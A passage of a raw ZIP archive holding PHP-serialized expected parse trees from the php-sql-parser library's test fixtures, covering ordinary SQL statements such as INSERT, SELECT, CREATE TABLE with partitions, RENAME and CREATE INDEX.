3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";}i:1;a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";b:0;s:9:"base_expr";s:4:"test";}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:16:"(`name`, `test`)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"`name`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"name";}}}i:1;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"`test`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}}}}}s:6:"VALUES";a:2:{i:0;a:4:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:21:"('\'Superman\'', ''),";s:4:"data";a:2:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:14:"'\'Superman\''";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;}}s:5:"delim";s:1:",";}i:1;a:4:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:17:"('\'sdfsd\'', '')";s:4:"data";a:2:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:11:"'\'sdfsd\''";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}}PK     \ˍ}    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue78b.serializednu [        a:3:{s:7:"EXPLAIN";N;s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:15;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"foo.bar";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:7:"foo.bar";s:8:"sub_tree";b:0;s:8:"position";i:22;}}}PK     \    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue34b.serializednu [        a:2:{s:6:"INSERT";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";}i:1;a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"CACHE";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"CACHE";}}s:5:"alias";b:0;s:9:"base_expr";s:5:"CACHE";}}s:6:"VALUES";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:3:"(1)";s:4:"data";a:1:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}}PK     \Ǧl
  l
  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33c.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:5:{s:9:"base_expr";s:6:"hohoho";s:4:"name";s:6:"hohoho";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"hohoho";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:79:" (a varchar(1000) NOT NULL, CONSTRAINT hohoho_pk PRIMARY KEY (a), CHECK(a > 5))";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:24:"a varchar(1000) NOT NULL";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:22:"varchar(1000) NOT NULL";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"varchar";s:6:"length";s:4:"1000";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:6:"(1000)";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"1000";}}}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"NOT";}i:3;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"NULL";}}s:6:"unique";b:0;s:8:"nullable";b:0;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:1;a:3:{s:9:"expr_type";s:11:"primary-key";s:9:"base_expr";s:36:"CONSTRAINT hohoho_pk PRIMARY KEY (a)";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:10:"constraint";s:9:"base_expr";s:21:" CONSTRAINT hohoho_pk";s:8:"sub_tree";a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:9:"hohoho_pk";}}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"PRIMARY";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"KEY";}i:3;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:3:"(a)";s:8:"sub_tree";a:1:{i:0;a:6:{s:9:"expr_type";s:12:"index-column";s:9:"base_expr";s:1:"a";s:4:"name";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:6:"length";b:0;s:3:"dir";b:0;}}}}}i:2;a:3:{s:9:"expr_type";s:5:"check";s:9:"base_expr";s:12:"CHECK(a > 5)";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"CHECK";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:7:"(a > 5)";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:">";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"5";s:8:"sub_tree";b:0;}}}}}}}s:7:"options";b:0;}}PK     \K    H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue93.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:5:"const";s:5:"alias";a:5:{s:2:"as";b:1;s:4:"name";s:3:"`a`";s:9:"base_expr";s:6:"as `a`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"position";i:9;}s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:7;}}s:5:"ORDER";a:1:{i:0;a:5:{s:9:"expr_type";s:5:"alias";s:9:"base_expr";s:3:"`a`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:9:"direction";s:3:"ASC";s:8:"position";i:25;}}}PK     \9n  n  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue61.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:8:"function";s:5:"alias";b:0;s:9:"base_expr";s:5:"lcase";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"dummy.b";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:5:"dummy";i:1;s:1:"b";}}s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"dummy";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"dummy";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:5:"dummy";s:8:"sub_tree";b:0;}}s:5:"ORDER";a:2:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"dummy.a";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:5:"dummy";i:1;s:1:"a";}}s:8:"sub_tree";b:0;s:9:"direction";s:3:"ASC";}i:1;a:4:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:5:"LCASE";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"dummy.b";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:5:"dummy";i:1;s:1:"b";}}s:8:"sub_tree";b:0;}}s:9:"direction";s:3:"ASC";}}}PK     \ߖ<    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue87a.serializednu [        a:1:{s:6:"RENAME";a:2:{s:9:"expr_type";s:5:"table";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";s:8:"position";i:7;}i:1;a:2:{s:6:"source";a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:9:"base_expr";s:1:"a";s:8:"position";i:13;}s:11:"destination";a:5:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:9:"base_expr";s:1:"b";s:8:"position";i:18;}}}}}PK     \[Tb=  =  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue34a.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"cache";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"cache";}}s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"t";s:9:"base_expr";s:4:"as t";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"t";}}}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:10:"cache as t";s:8:"sub_tree";b:0;}}}PK     \x    M  vendor/greenlion/php-sql-parser/tests/expected/parser/issue_git183.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:2:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:21:"SC_CATALOG_DETAIL_REG";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:21:"SC_CATALOG_DETAIL_REG";}}s:5:"alias";a:5:{s:2:"as";b:0;s:4:"name";s:2:"CD";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"CD";}}s:9:"base_expr";s:2:"CD";s:8:"position";i:36;}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:24:"SC_CATALOG_DETAIL_REG CD";s:8:"sub_tree";b:0;s:8:"position";i:14;}i:1;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:18:"MASTER_ITEM_LOOKUP";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:18:"MASTER_ITEM_LOOKUP";}}s:5:"alias";a:5:{s:2:"as";b:0;s:4:"name";s:2:"IL";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"IL";}}s:9:"base_expr";s:2:"IL";s:8:"position";i:69;}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";s:2:"ON";s:10:"ref_clause";a:3:{i:0;a:4:{s:9:"expr_type";s:15:"custom_function";s:9:"base_expr";s:9:"to_number";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"CD.STYLE";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"CD";i:1;s:5:"STYLE";}}s:8:"sub_tree";b:0;s:8:"position";i:86;}}s:8:"position";i:75;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:97;}i:2;a:4:{s:9:"expr_type";s:15:"custom_function";s:9:"base_expr";s:9:"to_number";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"IL.SKU_NUM";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:2:"IL";i:1;s:7:"SKU_NUM";}}s:8:"sub_tree";b:0;s:8:"position";i:110;}}s:8:"position";i:99;}}s:9:"base_expr";s:72:"MASTER_ITEM_LOOKUP IL
ON to_number( CD.STYLE ) = to_number( IL.SKU_NUM )";s:8:"sub_tree";b:0;s:8:"position";i:50;}}}PK     \&    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue131.serializednu [        a:2:{s:6:"CREATE";a:5:{s:9:"expr_type";s:5:"index";s:9:"base_expr";s:12:"unique index";s:10:"constraint";s:6:"UNIQUE";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"unique";s:8:"position";i:7;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"index";s:8:"position";i:14;}}s:8:"position";i:7;}s:5:"INDEX";a:7:{s:9:"base_expr";s:2:"i1";s:4:"name";s:2:"i1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"i1";}}s:10:"index-type";a:5:{s:9:"expr_type";s:10:"index-type";s:9:"base_expr";s:11:"using BTREE";s:5:"using";s:5:"BTREE";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"using";s:8:"position";i:23;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"BTREE";s:8:"position";i:29;}}s:8:"position";i:23;}s:2:"on";a:6:{s:9:"expr_type";s:5:"table";s:9:"base_expr";s:35:" on t1 (c1(5) DESC, `col 2`(8) ASC)";s:4:"name";s:2:"t1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"t1";}}s:8:"sub_tree";a:4:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:28:"(c1(5) DESC, `col 2`(8) ASC)";s:8:"sub_tree";a:2:{i:0;a:7:{s:9:"expr_type";s:12:"index-column";s:9:"base_expr";s:11:"c1(5) DESC,";s:4:"name";s:2:"c1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"c1";}}s:6:"length";s:1:"5";s:3:"dir";s:4:"DESC";s:8:"position";i:42;}i:1;a:7:{s:9:"expr_type";s:12:"index-column";s:9:"base_expr";s:15:" `col 2`(8) ASC";s:4:"name";s:7:"`col 2`";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"col 2";}}s:6:"length";s:1:"8";s:3:"dir";s:3:"ASC";s:8:"position";i:53;}}s:8:"position";i:41;}s:8:"position";i:34;}s:7:"options";a:3:{i:0;a:5:{s:9:"expr_type";s:15:"index-algorithm";s:9:"base_expr";s:17:"ALGORITHM=DEFAULT";s:9:"algorithm";s:7:"DEFAULT";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"ALGORITHM";s:8:"position";i:70;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"position";i:79;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"DEFAULT";s:8:"position";i:80;}}s:8:"position";i:70;}i:1;a:5:{s:9:"expr_type";s:10:"index-type";s:9:"base_expr";s:10:"using hash";s:5:"using";s:4:"HASH";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"using";s:8:"position";i:88;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"hash";s:8:"position";i:94;}}s:8:"position";i:88;}i:2;a:5:{s:9:"expr_type";s:10:"index-lock";s:9:"base_expr";s:11:"LOCK=SHARED";s:4:"lock";s:6:"SHARED";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"LOCK";s:8:"position";i:99;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"position";i:103;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"SHARED";s:8:"position";i:104;}}s:8:"position";i:99;}}s:8:"position";i:20;}}PK     \ԑ@?  ?  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33r.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:6:{s:9:"base_expr";s:2:"ts";s:4:"name";s:2:"ts";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"ts";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:25:" (id INT, purchased DATE)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:6:"id INT";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:3:"INT";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:3:"INT";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";b:0;}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:1;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:14:"purchased DATE";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"purchased";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"purchased";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:4:"DATE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:4:"DATE";}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}}}s:7:"options";b:0;s:17:"partition-options";a:3:{i:0;a:4:{s:9:"expr_type";s:9:"partition";s:9:"base_expr";s:37:"PARTITION BY RANGE( YEAR(purchased) )";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"BY";}i:2;a:3:{s:9:"expr_type";s:15:"partition-range";s:9:"base_expr";s:24:"RANGE( YEAR(purchased) )";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"RANGE";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:19:"( YEAR(purchased) )";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:4:"YEAR";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"purchased";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"purchased";}}s:8:"sub_tree";b:0;}}}}}}}}s:2:"by";s:5:"RANGE";}i:1;a:4:{s:9:"expr_type";s:13:"sub-partition";s:9:"base_expr";s:42:"SUBPARTITION BY HASH( TO_DAYS(purchased) )";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"BY";}i:2;a:4:{s:9:"expr_type";s:18:"sub-partition-hash";s:9:"base_expr";s:26:"HASH( TO_DAYS(purchased) )";s:6:"linear";b:0;s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"HASH";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:22:"( TO_DAYS(purchased) )";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:7:"TO_DAYS";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"purchased";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"purchased";}}s:8:"sub_tree";b:0;}}}}}}}}s:2:"by";s:4:"HASH";}i:2;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:1117:"(
                PARTITION p0 VALUES LESS THAN (1990) (
                    SUBPARTITION s0
                        DATA DIRECTORY = '/disk0/data'
                        INDEX DIRECTORY = '/disk0/idx',
                    SUBPARTITION s1
                        DATA DIRECTORY = '/disk1/data'
                        INDEX DIRECTORY = '/disk1/idx'
                ),
                PARTITION p1 VALUES LESS THAN (2000) (
                    SUBPARTITION s2
                        DATA DIRECTORY = '/disk2/data'
                        INDEX DIRECTORY = '/disk2/idx',
                    SUBPARTITION s3
                        DATA DIRECTORY = '/disk3/data'
                        INDEX DIRECTORY = '/disk3/idx'
                ),
                PARTITION p2 VALUES LESS THAN MAXVALUE (
                    SUBPARTITION s4
                        DATA DIRECTORY = '/disk4/data'
                        INDEX DIRECTORY = '/disk4/idx',
                    SUBPARTITION s5
                        DATA DIRECTORY = '/disk5/data'
                        INDEX DIRECTORY = '/disk5/idx'
                )
            )";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:13:"partition-def";s:9:"base_expr";s:349:"PARTITION p0 VALUES LESS THAN (1990) (
                    SUBPARTITION s0
                        DATA DIRECTORY = '/disk0/data'
                        INDEX DIRECTORY = '/disk0/idx',
                    SUBPARTITION s1
                        DATA DIRECTORY = '/disk1/data'
                        INDEX DIRECTORY = '/disk1/idx'
                )";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";s:4:"name";s:2:"p0";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"p0";}i:2;a:3:{s:9:"expr_type";s:16:"partition-values";s:9:"base_expr";s:23:"VALUES LESS THAN (1990)";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"VALUES";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"LESS";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"THAN";}i:3;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:6:"(1990)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"1990";s:8:"sub_tree";b:0;}}}}}i:3;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:312:"(
                    SUBPARTITION s0
                        DATA DIRECTORY = '/disk0/data'
                        INDEX DIRECTORY = '/disk0/idx',
                    SUBPARTITION s1
                        DATA DIRECTORY = '/disk1/data'
                        INDEX DIRECTORY = '/disk1/idx'
                )";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s0
                        DATA DIRECTORY = '/disk0/data'
                        INDEX DIRECTORY = '/disk0/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s0";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s0";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk0/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk0/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk0/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk0/idx'";}}}}}i:1;a:3:{s:9:"expr_type";s:17:"sub-partition-def";s:9:"base_expr";s:125:"SUBPARTITION s1
                        DATA DIRECTORY = '/disk1/data'
                        INDEX DIRECTORY = '/disk1/idx'";s:8:"sub_tree";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:12:"SUBPARTITION";s:4:"name";s:2:"s1";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"s1";}i:2;a:3:{s:9:"expr_type";s:22:"sub-partition-data-dir";s:9:"base_expr";s:30:"DATA DIRECTORY = '/disk1/data'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"DATA";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'/disk1/data'";}}}i:3;a:3:{s:9:"expr_type";s:23:"sub-partition-index-dir";s:9:"base_expr";s:30:"INDEX DIRECTORY = '/disk1/idx'";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"INDEX";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"DIRECTORY";}i:2;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:3;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'/disk1/idx'";}}}}}}}}}i:1;a:3:{s:9:"expr_type";s:13:"partition-def";s:9:"base_expr";s:349:"PARTITION p1 VALUES LESS THAN (2000) (
                    SUBPARTITION s2
                        DATA DIRECTORY = '/disk2/data'
                        INDEX DIRECTORY = '/disk2/idx',
                    SUBPARTITION s3
                        DATA DIRECTORY = '/disk3/data'
                        INDEX DIRECTORY = '/disk3/idx'
